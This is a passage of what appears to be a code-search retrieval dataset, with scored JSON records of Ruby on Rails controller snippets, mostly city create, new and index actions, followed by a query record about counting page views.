"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render action: 'show', status: :created, location: @city }\n else\n format.html { render action: 'new' }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52bb89bf5ef88dc06ce7ccb1c848d83d",
"score": "0.63773453",
"text": "def test_should_create_city\n assert_difference('City.count') do\n post :create, parse_body('{\"properties\": {\"name\": \"New City\", \"gid\": 123}}')\n end\n json = ActiveSupport::JSON.decode(@response.body)\n assert_equal 'New City', json['properties']['name']\n end",
"title": ""
},
{
"docid": "f29f2ce2f8d5756f1600939eb6952481",
"score": "0.6356673",
"text": "def create\n @city = City.new(params[:city])\n @city.state_id = params[:state_id]\n \n respond_to do |format|\n if @city.save\n format.html { redirect_to country_state_cities_path, :notice => t('controller_message.inserted') }\n format.json { render :json => @city, :status => :created, :location => @city }\n else\n @state = State.find(params[:state_id])\n @country = Country.find(@state.country_id)\n format.html { render :action => \"new\" }\n format.json { render :json => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "09f977c4abcb47d7e4cf14b67571a751",
"score": "0.6342457",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to admin_dashboard_cities_path, notice: 'city was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8401a63ef56c72b264399576e5a5012c",
"score": "0.6329698",
"text": "def create\n authorize! :create, @city\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "14e94e31dcb6bdfc96b66f032e2d028d",
"score": "0.6312215",
"text": "def create\n @indonesia_city = IndonesiaCity.new(indonesia_city_params)\n\n respond_to do |format|\n if @indonesia_city.save\n format.html { redirect_to indonesia_cities_path, notice: 'Kota berhasil dibuat.' }\n format.json { render :show, status: :created, location: @indonesia_city }\n else\n format.html { render :new }\n format.json { render json: @indonesia_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ae8b13728c96b1a84b6eb2c698da0af",
"score": "0.628733",
"text": "def create\n @cities = City.all\n\n if (params[:city][:state_id].blank?)\n params[:city][:state_id] = 0\n end\n\n @city = City.create(city_params)\n\n @states = State.all.order(:state_name)\n end",
"title": ""
},
{
"docid": "776fc0c5b780664001141ac41a3cf81a",
"score": "0.62758696",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to admin_city_path(@city), :flash => :success }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78214333b32b5819a6ef6ad8031f02bc",
"score": "0.6263196",
"text": "def create_city\n\n user = User.find_by(id: params[:id])\n city = City.create(name: params[:name], country: params[:country])\n UserCity.create(user: user, city: city)\n render json: user\n \n end",
"title": ""
},
{
"docid": "4fbed660d030d32a56dcf592cfa3e630",
"score": "0.6240554",
"text": "def create\n @dataele_city = DataeleCity.new(params[:dataele_city])\n\n respond_to do |format|\n if @dataele_city.save\n format.html { redirect_to @dataele_city, notice: 'Dataele city was successfully created.' }\n format.json { render json: @dataele_city, status: :created, location: @dataele_city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataele_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "110da73aa954a6bbaaf71c7da1020bd4",
"score": "0.62290925",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: '新建成功' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "613d4fb96377e3f1c710548934a66715",
"score": "0.62280625",
"text": "def create\n @db_city = DbCity.new(db_city_params)\n if @db_city.save\n render json: @db_city\n else\n render json: @db_city.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "68c0eafb5e5c409c2fa41bbed1d3f22d",
"score": "0.6207668",
"text": "def create\n\t\t@cityName = params[:city]\n \t@w = WeatherService.get(@cityName)\n \tif @w\n\t\t\t#@temperature = (9.0/5) * (@w[:temperature] - 273) + 32\n\t\t\tcity = City.new(\n\t\t\t\tname: @cityName,\n\t\t\t\tlandmark: params[:landmark],\n\t\t\t\tpopulation: params[:population]\n\t\t\t)\n\t\t\tcity.save\n\t\tend\n\t\t@cities = City.all.values()\n\t\trender 'view'\n\tend",
"title": ""
},
{
"docid": "b2045fa9a4bdba900aafea14690534bb",
"score": "0.6203263",
"text": "def create\n @categories_city = CategoriesCity.new(categories_city_params)\n\n respond_to do |format|\n if @categories_city.save\n format.html { redirect_to @categories_city, notice: 'Categories city was successfully created.' }\n format.json { render :show, status: :created, location: @categories_city }\n else\n format.html { render :new }\n format.json { render json: @categories_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f5b1ee66ef4eeec775bf7f9e592e3bc",
"score": "0.6199774",
"text": "def create\n @city = City.new city_params\n\n if @city.save\n redirect_to cities_url\n else\n render 'new'\n end\n end",
"title": ""
},
{
"docid": "76823ccf217c13f7ac44eda60f6875bb",
"score": "0.618756",
"text": "def create\n \t@city = City.create(cities_params)\n \tif @city.save\n flash[:success] = \"Record saved successfully.\"\n \t\tredirect_to cities_path\n else\n flash[:error] = \"Record not saved\"\n redirect_to new_city_path\n \tend\n end",
"title": ""
},
{
"docid": "03992d4cf22850c18ff973fb98dd09e6",
"score": "0.6164017",
"text": "def index\n @cities = City.all\n\n render json: @cities\n end",
"title": ""
},
{
"docid": "de4ead37346fda8242c6bc87fe47a14c",
"score": "0.61624604",
"text": "def create\n @major_city = MajorCity.new(major_city_params)\n\n respond_to do |format|\n if @major_city.save\n format.html { redirect_to @major_city, notice: 'Major city was successfully created.' }\n format.json { render :show, status: :created, location: @major_city }\n else\n format.html { render :new }\n format.json { render json: @major_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8e7c3eac84acc1717da592d676164cd",
"score": "0.6149584",
"text": "def find_cities\n cities = CS.cities(params[:state_id].to_sym, params[:country_id].to_sym)\n\n respond_to do |format|\n format.json { render json: cities.to_a }\n end\n end",
"title": ""
},
{
"docid": "10a2366f043ed06a40ad73e435b43abe",
"score": "0.61160076",
"text": "def create\n\t\tnewCity = City.new(params)\n\t\tnewCity.save\n\t\trender 'view'\n\tend",
"title": ""
},
{
"docid": "ce9e78fd07f594ffa7f73d1bc09e1bab",
"score": "0.61139697",
"text": "def create\n @city = City.new\n @city.name = params[:city][:name]\n \n respond_to do |format|\n if @city.save\n format.html { redirect_to(cities_path, :notice => 'Miasto dodane.') }\n format.xml { render :xml => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cbcaa898d3730ee89df34a9c01108920",
"score": "0.60970694",
"text": "def create\n @city = City.new (params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'Ciudad creada con exito.' }\n CustomLogger.info(\"Nueva ciudad: #{@city.city.inspect} del pais #{@city.country_pais.inspect} creada por #{current_user.full_name.inspect}, #{Time.now}\")\n format.json { render json: @city, status: :created, location: @city }\n else\n @countries = Country.find(:all)\n format.html { render action: \"new\" }\n CustomLogger.error(\"Error al crear una ciudad: #{@city.city.inspect} del pais #{@city.country_pais.inspect} .Usuario: #{current_user.full_name.inspect}, #{Time.now}\")\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "463cc1d42f560a4b29cad4da87ba197e",
"score": "0.6080241",
"text": "def create\n @city = City.new(city_params)\n @city.save\n respond_with @city, notice: 'Cidade criada com sucesso.'\n end",
"title": ""
},
{
"docid": "f6023fde4d976ae9144fb5e8ba0a33e7",
"score": "0.6078659",
"text": "def create\n @jobs_city = JobsCity.new(params[:jobs_city])\n\n respond_to do |format|\n if @jobs_city.save\n format.html { redirect_to @jobs_city, notice: 'Jobs city was successfully created.' }\n format.json { render json: @jobs_city, status: :created, location: @jobs_city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @jobs_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8351929de5bcbbb10a23010bb32646a",
"score": "0.6077765",
"text": "def city\n render json: City.find_by_id(controller_params)\n end",
"title": ""
},
{
"docid": "d74782fcea0dd18ea5d760f2cd928aac",
"score": "0.607203",
"text": "def index\n @cities = City.all\n\n render json: @cities\n end",
"title": ""
},
{
"docid": "0d26f63725720a5985953a96a0a8db58",
"score": "0.6056589",
"text": "def create\n @city = City.new(city_params)\n fetch_coordinates\n\n if @city.save\n redirect_to cities_url\n else\n render action: 'new'\n end\n end",
"title": ""
},
{
"docid": "e28126e5ee1c18877180e0b27f858ae4",
"score": "0.60490566",
"text": "def create\n @city_state = CityState.new(city_state_params)\n\n respond_to do |format|\n if @city_state.save\n format.html { redirect_to @city_state, notice: 'City state was successfully created.' }\n format.json { render :show, status: :created, location: @city_state }\n else\n format.html { render :new }\n format.json { render json: @city_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1bcd03d7599ede43101bd0d47693b9b9",
"score": "0.6005145",
"text": "def create\n @user_city = UserCity.new(user_city_params)\n\n respond_to do |format|\n if @user_city.save\n format.html { redirect_to @user_city, notice: 'User city was successfully created.' }\n format.json { render :show, status: :created, location: @user_city }\n else\n format.html { render :new }\n format.json { render json: @user_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32ccc83963f56158a60e073b335b1db4",
"score": "0.59956616",
"text": "def create\n @factory_city = FactoryCity.new(factory_city_params)\n\n respond_to do |format|\n if @factory_city.save\n format.html { redirect_to @factory_city, notice: 'Factory city was successfully created.' }\n format.json { render :show, status: :created, location: @factory_city }\n else\n format.html { render :new }\n format.json { render json: @factory_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9dec50b91b768973579df903015056a0",
"score": "0.5990928",
"text": "def new\n @city = City.new\n @countries = Country.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "9120623235a70427b0500baa14698f75",
"score": "0.597359",
"text": "def create\n @cities_to_work = CitiesToWork.new(cities_to_work_params)\n\n respond_to do |format|\n if @cities_to_work.save\n format.html { redirect_to @cities_to_work, notice: 'Cities to work was successfully created.' }\n format.json { render :show, status: :created, location: @cities_to_work }\n else\n format.html { render :new }\n format.json { render json: @cities_to_work.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a42672db56eb7f67cdd97b948dac6829",
"score": "0.59735006",
"text": "def cities\n self.class.get(\"/v1/cities\")\n end",
"title": ""
},
{
"docid": "3f03e6bcd7cf8a8408955ff5e9ff2ce3",
"score": "0.59683365",
"text": "def cities\n response.headers['OData-Version'] = \"4.0\"\n\n values = City.all.map { |c|\n {\n \"@odata.id\" => \"http://localhost:3000/Cities(%d)\" % c.id,\n \"@odata.editLink\" => \"http://localhost:3000/Cities(%d)\" % c.id,\n \"Id\"=> c.id,\n \"Name\"=> c.name\n }\n }\n\n\n render json:\n {\n \"@odata.context\" => 'http://localhost:3000/metadata#Cities',\n \"value\" => values\n # [\n # {\"@odata.id\" => \"http://localhost:3000/Cities(1)\",\n # \"@odata.editLink\" => \"http://localhost:3000/Cities(1)\",\n # \"Id\"=>1,\n # \"Name\"=> \"Paris\"}\n # ]\n },content_type: \"application/json;odata.metadata=minimal;odata.streaming=true\"\n\n end",
"title": ""
},
{
"docid": "a3cc430ec75584a25053849eebf88751",
"score": "0.5949008",
"text": "def cities\n respond_with City.all.as_json(only:[:id, :name])\n end",
"title": ""
},
{
"docid": "142e0edd7f69ab2040ddaf0db1819092",
"score": "0.5924706",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to(@city, :notice => 'City was successfully created.') }\n format.xml { render :xml => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "142e0edd7f69ab2040ddaf0db1819092",
"score": "0.5924706",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to(@city, :notice => 'City was successfully created.') }\n format.xml { render :xml => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "142e0edd7f69ab2040ddaf0db1819092",
"score": "0.5924706",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to(@city, :notice => 'City was successfully created.') }\n format.xml { render :xml => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba4eea44a3dc8af903543bd2edf2d74b",
"score": "0.5919989",
"text": "def create \n \n params[\"city_id\"] = params[\"id\"]; \n \n @temp = Temp.create(temp_params)\n \n respond_to do |format|\n if @temp.save\n \n format.json { render json: @temp, status: :created, location: @temp }\n else\n \n format.json { render json: @temp.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1845961eb93045cd0bd03c3cc77d6cc9",
"score": "0.5909853",
"text": "def new\n authorize! :create, @city\n @city = City.new\n @city.location = Location.new\n @city.node = Node.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "433cce5e66428e4e94002acaf600cfd2",
"score": "0.59085125",
"text": "def index\n @cities = City.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cities }\n end\n end",
"title": ""
},
{
"docid": "9523e270883a0f17d439a8334f4ecb4f",
"score": "0.5904444",
"text": "def create\n @city = City.new(city_params)\n @city.creator ||= current_user\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to new_place_path, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73750c92a48e00cef3bddadf29cab516",
"score": "0.58999276",
"text": "def city_params\n params.require(:city).permit(:name, :surface, :geojson)\n end",
"title": ""
},
{
"docid": "fcf71558e1c8f0522653765c5ddcf91d",
"score": "0.58975154",
"text": "def create\n @travel_city = TravelCity.new(travel_city_params)\n\n respond_to do |format|\n if @travel_city.save\n format.html { redirect_to @travel_city.trip, notice: 'Travel city was successfully created.' }\n format.json { render :show, status: :created, location: @travel_city }\n else\n format.html { render :new }\n format.json { render json: @travel_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "271bd87b89d9ba58e8f401c6794dbf73",
"score": "0.58880126",
"text": "def create\n @city_list = CityList.new(city_list_params)\n\n respond_to do |format|\n if @city_list.save\n format.html { redirect_to @city_list, notice: 'City list was successfully created.' }\n format.json { render :show, status: :created, location: @city_list }\n else\n format.html { render :new }\n format.json { render json: @city_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e0088f4155d83a8b7a3c633a291517b",
"score": "0.5883566",
"text": "def create\n @city_service = CityService.new(params[:city_service])\n\n respond_to do |format|\n if @city_service.save\n format.html { redirect_to @city_service, notice: 'City service was successfully created.' }\n format.json { render json: @city_service, status: :created, location: @city_service }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "27f421eca0b2df263c283551a04e56a7",
"score": "0.58767885",
"text": "def create\n @city_map = CityMap.new(params[:city_map])\n\n respond_to do |format|\n if @city_map.save\n format.html { redirect_to @city_map, notice: 'City map was successfully created.' }\n format.json { render json: @city_map, status: :created, location: @city_map }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city_map.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1f3517ca5b3750ebb2ac4bc4cd17c10",
"score": "0.5864782",
"text": "def city_params\n params.require(:city).permit(:id, :name, :coordinate_id, :country)\n end",
"title": ""
},
{
"docid": "fd608e6c24c019ec8d5ccb4cdc61ca4f",
"score": "0.58549076",
"text": "def create\n @inspector = Inspector.new(inspector_params)\n states_cities\n respond_to do |format|\n if @inspector.save\n format.html { redirect_to @inspector, notice: 'Inspector was successfully created.' }\n format.json { render :show, status: :created, location: @inspector }\n else\n format.html { render :new }\n format.json { render json: @inspector.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eb1efed63bb0f937fb9770270123697d",
"score": "0.58455175",
"text": "def create\r\n @city = City.new(params[:city])\r\n\r\n respond_to do |format|\r\n if @city.save\r\n format.html { redirect_to(@city, :notice => 'City was successfully created.') }\r\n format.xml { render :xml => @city, :status => :created, :location => @city }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "c52d301a0982db947bfdf6da7b491567",
"score": "0.5845477",
"text": "def index\n @cities = City.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cities }\n end\n end",
"title": ""
},
{
"docid": "216f5d0ce583179d95bf42a79878b734",
"score": "0.5838892",
"text": "def city_params\n params.require(:city).permit(:name, :slug, :zip_code, :federal_state_id)\n end",
"title": ""
},
{
"docid": "efdb5fe891773b18e45f7921e6756b58",
"score": "0.58384377",
"text": "def cities\n @cities = City.find_by_fuzzy_name(params[:name])\n if @cities\n render :json => @cities\n else\n render :json => {:error => \"Cities not found for given name\"}.to_json, :status => 404\n end\n end",
"title": ""
},
{
"docid": "22938cef3d93967482601b505dff5533",
"score": "0.5835623",
"text": "def create\n city = Hash.new\n city[:name] = params[:city][\"name\"]\n \n city[:cityId] = OpenWeather.getCitiesIDs(params[:city][\"name\"],1)[0]\n \n latLon = Geocoder.getLatLon(params[:city][\"name\"])\n \n latitude = latLon[:lat]\n longitude = latLon[:lng]\n\n city[:latitude] = latitude\n city[:longitude] = longitude\n \n userId = \"100184922779584864374\"\n \n Database.storeFavoriteCity(city, userId)\n \n redirect_to fav_cities_path\n end",
"title": ""
},
{
"docid": "b8bc1d5df04f3257d7c35c9e28916c54",
"score": "0.58274186",
"text": "def index\n @cities = City.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cities }\n end\n end",
"title": ""
},
{
"docid": "8a9daffec6c30ade920ce9e73c6f097b",
"score": "0.58227456",
"text": "def create\n\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n flash[:notice] = 'City was successfully created.'\n format.html { redirect_to(@city) }\n format.xml { render :xml => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0577019408334f5545d47b0cfc91812b",
"score": "0.58207375",
"text": "def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "0577019408334f5545d47b0cfc91812b",
"score": "0.58207375",
"text": "def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "0577019408334f5545d47b0cfc91812b",
"score": "0.58207375",
"text": "def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "0577019408334f5545d47b0cfc91812b",
"score": "0.58207375",
"text": "def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "0577019408334f5545d47b0cfc91812b",
"score": "0.58207375",
"text": "def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "0577019408334f5545d47b0cfc91812b",
"score": "0.58207375",
"text": "def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "0577019408334f5545d47b0cfc91812b",
"score": "0.58207375",
"text": "def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"title": ""
},
{
"docid": "35f6cac6f4edd2c5bdd0a0b2359cc169",
"score": "0.5819173",
"text": "def create\n @products_city = ProductsCity.new(products_city_params)\n\n respond_to do |format|\n if @products_city.save\n format.html { redirect_to @products_city, notice: 'Products city was successfully created.' }\n format.json { render :show, status: :created, location: @products_city }\n else\n format.html { render :new }\n format.json { render json: @products_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8fa78e533fe8eace8c759fead506302b",
"score": "0.58064634",
"text": "def create\n @city_type = CityType.new(city_type_params)\n\n respond_to do |format|\n if @city_type.save\n format.html { redirect_to @city_type, notice: 'City type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @city_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @city_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c077bb0ce23978dde8267202c2ce23b8",
"score": "0.5804941",
"text": "def create\n @city = @province.cities.new(city_params)\n redirect_to province_cities_path(@province.slug), notice: \"#{_('City')} #{_('was successfully')} #{_('created')}.\" and return if @city.save\n add_breadcrumb :new\n render :new\n end",
"title": ""
},
{
"docid": "8689565cebc7eee95369fcbbc3859fd2",
"score": "0.5798331",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n flash[:notice] = 'City was successfully created.'\n format.html { redirect_to(@city) }\n format.xml { render :xml => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8689565cebc7eee95369fcbbc3859fd2",
"score": "0.5798331",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n flash[:notice] = 'City was successfully created.'\n format.html { redirect_to(@city) }\n format.xml { render :xml => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "79ea446a9de3cd6f76e2f1766e23f332",
"score": "0.57967883",
"text": "def new\n @country = Country.find(params[:country_id])\n @state = State.find(params[:state_id])\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @city }\n end\n end",
"title": ""
},
{
"docid": "46090003754f6d03c530a5937613724f",
"score": "0.57916635",
"text": "def new\n @trip = Trip.new\n @trip.cities.build\n @trip.cities.each do |t|\n t.iteneraries.build\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trip }\n end\n end",
"title": ""
},
{
"docid": "96d75f5691746108fd17a2b10c25ba6c",
"score": "0.5778413",
"text": "def city_params\n params.require(:city).permit(:name, :countrycode, :district, :population)\n end",
"title": ""
},
{
"docid": "98208b4e025e01f8b90d008c72a0e542",
"score": "0.57746327",
"text": "def index\n @api_cities = Api::City.all\n\n render json: @api_cities\n end",
"title": ""
},
{
"docid": "323502f897dfe548b6314c166428c6e3",
"score": "0.5774385",
"text": "def create\n @city = City.new(params[:city])\n if @city.save\n redirect_to @city, :notice => {\n :title => \"Success!\",\n :message => \"City \" + @city.name + \" was created.\"\n }\n else \n render :new\n end\n end",
"title": ""
}
] |
f763f1b3a25e3aea2a5d33e854a994bf
|
def views start = 1 count = start + 1 count.each do |count|
|
[
{
"docid": "94e80f793e5dac5bf4a919beaf9473a5",
"score": "0.0",
"text": "def bottles\n @bottles = 99\n @bottles_less = @bottles - 1\n\n end",
"title": ""
}
] |
[
{
"docid": "34d00efb9e9392c8ce5cff5fa9bdea79",
"score": "0.7118049",
"text": "def increment_views!\n increment!('views_count')\n end",
"title": ""
},
{
"docid": "eedafbd2fc9bfacae82723a3c345bf39",
"score": "0.7028829",
"text": "def increment_no_of_views\n self.increment!(:num_views)\n end",
"title": ""
},
{
"docid": "9067ec1e3aa27267d427779e4005b088",
"score": "0.66313213",
"text": "def increment_view_count\n List.increment_counter(:view_count, id)\n end",
"title": ""
},
{
"docid": "81d052a2a7650279e4aeab6c2d60041c",
"score": "0.65876365",
"text": "def views\n 0\n end",
"title": ""
},
{
"docid": "371cb821ea5d6cdbfb6a92394f263400",
"score": "0.6492022",
"text": "def views_count\n 0\n end",
"title": ""
},
{
"docid": "fd7ca33aa5dadaf889a9ed06c20948fd",
"score": "0.643324",
"text": "def show\n @track.increment!(:views)\n end",
"title": ""
},
{
"docid": "e5f9eba708f949b289da1168959075a9",
"score": "0.6424081",
"text": "def index\n @start = params[:start] || 0\n # Maybe cache this?\n @count = (Scenario.published.count / 10.0).ceil\n @scenarios = Scenario.published.limit(10).offset(@start)\n end",
"title": ""
},
{
"docid": "7da4b263996b705e321ec703afea8993",
"score": "0.6400676",
"text": "def show\n #this is some ugly ass code - but just temporary - until the view_count are initialized to 0\n @project.view_count.nil? ? @project.view_count = 0 : @project.view_count += 1\n @project.inc(:view_count, 1)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"title": ""
},
{
"docid": "b91dbbfbe77851d0c1b0bde2a8a8ac96",
"score": "0.6395157",
"text": "def increment_views\n if self.class.column_names.include?('views')\n # increment! is not used to avoid callbacks and auto update.\n self.class.increment_counter(:views, self.id)\n self.views += 1\n end\n end",
"title": ""
},
{
"docid": "c74795669576d0ed06c8532c2686cda9",
"score": "0.6383193",
"text": "def start(example_count)\n end",
"title": ""
},
{
"docid": "51be3967ba1085a92e77591fdd1b599b",
"score": "0.6369725",
"text": "def views\n events.count\n end",
"title": ""
},
{
"docid": "7f3be1d19f86258ed444fa05027526ba",
"score": "0.6368407",
"text": "def cool_view_count\n view_count\n end",
"title": ""
},
{
"docid": "b0c5f455309952f92a987c54c6afb598",
"score": "0.63403445",
"text": "def index\n @start = params[:start] || 0\n # Maybe cache this?\n @count = (Universe.published.count / 10.0).ceil\n @universes = Universe.includes(:user).published.limit(10).offset(@start)\n end",
"title": ""
},
{
"docid": "9930ec3bd13af013e6f3a3987a82e623",
"score": "0.63015705",
"text": "def index\n @lessons = Lesson.all \n # lessons = Lesson.all.select(:id,:name,:start_date,:users_allowed).order(start_date: :desc)\n # results_per_page = 30\n # total_results = lessons.size\n # @pages = lessons.size / results_per_page\n # page_nume = params[:id].to_i\n \n\n # arr = []\n # @pages.times.each_with_index do |res, index|\n # current_page = index + 1\n # if page_nume == current_page\n # results_per_page - total_results\n # @result_no = current_page*results_per_page\n # end\n # end\n\n \n # @lessons = Lesson.all.select(:id,:name,:start_date,:users_allowed).order(start_date: :desc).offset(@result_no).limit(results_per_page)\n\n end",
"title": ""
},
{
"docid": "608aa812085280e23aaf6973239d9359",
"score": "0.6266761",
"text": "def view_count\n Article.increment_counter(:views, self.id)\n end",
"title": ""
},
{
"docid": "56c4f348564f6d37c8adf5d3d891fa1e",
"score": "0.62623817",
"text": "def show\n #this is some ugly ass code - but just temporary - until the view_count are initialized to 0\n @project.view_count.nil? ? @project.view_count = 0 : @project.view_count += 1\n @project.inc(:view_count, 1)\n respond_to do |format|\n format.html { render :layout => \"show_project_layout\"}# show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"title": ""
},
{
"docid": "9fd3b912b347f84cc61b168312a6106a",
"score": "0.62451065",
"text": "def index\n @viewscounts = Viewscount.all\n end",
"title": ""
},
{
"docid": "27af665d176f03b5cc25473c68046457",
"score": "0.62367773",
"text": "def viewCount\n\tviewtickets = $client.views.find(:id => 61136848)\n\tviewtickets.tickets.each { |x| puts x }\nend",
"title": ""
},
{
"docid": "c6fc955464a372c4e7be26059032ce90",
"score": "0.6187656",
"text": "def index\n @stories = current_user.stories\n\n @finished_count = 0\n @unfinished_count = 0\n @stories.each do |story|\n @finished_count += 1 if story.finished\n @unfinished_count += 1 if !story.finished\n end\n end",
"title": ""
},
{
"docid": "d39cb3f59d1b393d11b5fdc93892c1e2",
"score": "0.6158034",
"text": "def update_views\n self.update_attribute :views_count, (views_count + 1)\n end",
"title": ""
},
{
"docid": "cbd202f0f4982120be023afdad0257d0",
"score": "0.61485416",
"text": "def show\n @counter = 0\n end",
"title": ""
},
{
"docid": "7b1170e0dd3d513fe14dd60b3c407f58",
"score": "0.61475235",
"text": "def page= i;end",
"title": ""
},
{
"docid": "7b1170e0dd3d513fe14dd60b3c407f58",
"score": "0.61475235",
"text": "def page= i;end",
"title": ""
},
{
"docid": "5076b03ea50bf47fd6f1edaabb36e16f",
"score": "0.6144422",
"text": "def render\n print \" #{@cups[7..12].reverse.map { |cup| cup.count }} \\n\"\n puts \"#{@cups[13].count} -------------------------- #{@cups[6].count}\"\n print \" #{@cups.take(6).map { |cup| cup.count }} \\n\"\n puts \"\"\n puts \"\"\n end",
"title": ""
},
{
"docid": "1c0dc4bcc3f21607185006d42b50d4ad",
"score": "0.61381966",
